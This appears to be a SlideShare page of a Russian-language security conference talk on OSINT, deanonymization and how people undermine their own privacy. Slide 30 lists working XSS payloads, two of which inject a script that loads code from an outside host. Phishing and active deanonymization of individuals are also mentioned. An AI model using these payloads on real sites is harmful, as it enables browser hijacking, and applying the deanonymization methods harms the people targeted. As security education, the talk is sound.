Download as PDF, PPTX
Uploaded byRoman Ananev
[STACHKA] Roman Ananev - Privacy is dead!
Документ обсуждает важность открытой разведки (OSINT) и указывает на то, что люди часто сами несут ответственность за свои проблемы с анонимностью. Упоминаются различные источники информации, такие как социальные сети и поисковые платформы, а также методы социальной инженерии и фишинга. Автор подчеркивает, что использование OSINT может быть сложнее и интереснее, чем кажется на первый взгляд.
![[STACHKA] Roman Ananev - XSS is real xD](https://cdn.slidesharecdn.com/ss_thumbnails/xssforstachka-170415191937-thumbnail.jpg?width=640&height=640&fit=bounds)
![[STACHKA] Vasily Kuznetsov - Blockchain influence on security in our life](https://cdn.slidesharecdn.com/ss_thumbnails/2017-170415080415-thumbnail.jpg?width=640&height=640&fit=bounds)
[STACHKA] Roman Ananev - Privacy is dead!
- 1. Анонимность все дела, почемуеё нет и почему вы сами виноваты Roman “deadroot” Ananev
- 2. Дисклеймер • Исключительно впознавательных и образовательных целях • Все, что будет сказано, это чисто мое мнение и никому навязывать я его не собираюсь, так не надо тут потом это того :)
- 3. TL;DR; • OSINT • XSS+ phishing • Вы сами виноваты
- 4.
- 5. OSINT • Поиск воткрытых источниках • Социальные сети (fb, linkedin, twitter, instagram, vk, google+, …) • Мессенджеры (tg, messenger, viber, …) • Форумы, сайты, блоги • Поисковики (Google, yandex, …) • Формы восстановления паролей • …
- 6.
- 7.
- 8.
- 9.
- 10. ¯ _(ツ) _ / ¯
- 11. но можно былои проще
- 12. На самом делеOSINT сложнее facebook и интереснее google yahoo bing phone number linkedin @email twitter facebook username pastebin
- 13. На самом делеOSINT сложнее facebook и интереснее google yahoo bing phone number linkedin @email photo/images twitter facebook username IP DNS pastebin domain name news
- 14. На самом делеOSINT сложнее facebook и интереснее google yahoo bing phone number linkedin @email photo/images twitter facebook username IP DNS pastebin domain name news satellite video documents crime data VIN forums games archive periscope
- 15. На самом делеOSINT сложнее facebook и интереснее google yahoo bing phone number linkedin @email photo/images twitter facebook username IP DNS pastebin domain name news satellite video documents crime data VIN forums games archive periscope
- 16.
- 17.
- 18.
- 19.
- 20.
- 21.
- 22.
- 23.
- 24. На самом делеOSINT сложнее и интереснее если ты не ленив :) https://github.com/jivoi/awesome-osint https://github.com/sebdraven/OSINT https://github.com/ilektrojohn/creepy https://github.com/pirate/mesh-networking https://github.com/automatingosint/osint_public https://google.com
- 25.
- 26.
- 27. не совсем OSINT •Поиск в прочих местах, но тоже открытых • Фишинг и активная деанонимизация • Взломанные базы данных и утекшие данные • Газеты, журналы
- 28.
- 29.
- 30. XSS • ">')"></stYle/</titLe/</teXtarEa/</scRipt/--!><img src="0:0" onerror="(function(u){var d=document,s=d.createElement('script');s.src=u;(d.head|| d.documentElement).appendChild(s);s.parentNode.remov eChild(s);}('//q.ddrt.su'));"> •">-->'></script><script/src=//q.ddrt.su></script> • <!’/*!"/*!//'/*//"/*--!><Input/Autofocus/%0D*/ Onfocus=confirm`1`//><Svg> • <iframe/src=javascript: %2561%256c%2565%2572%2574``>
- 34.
- 35.
- 36.
- 37.
- 38.
- 39.
- 41.
- 42.
- 43. А на самомделе вы виноваты сами :)
- 44.
- 45. Что с намистало :(
- 46. JS, Flash, TOR,VPN, …
- 47. Telegram: @deadroot Остальное найдетесами, если надо ;) Roman “deadroot” Ananev Simtech Development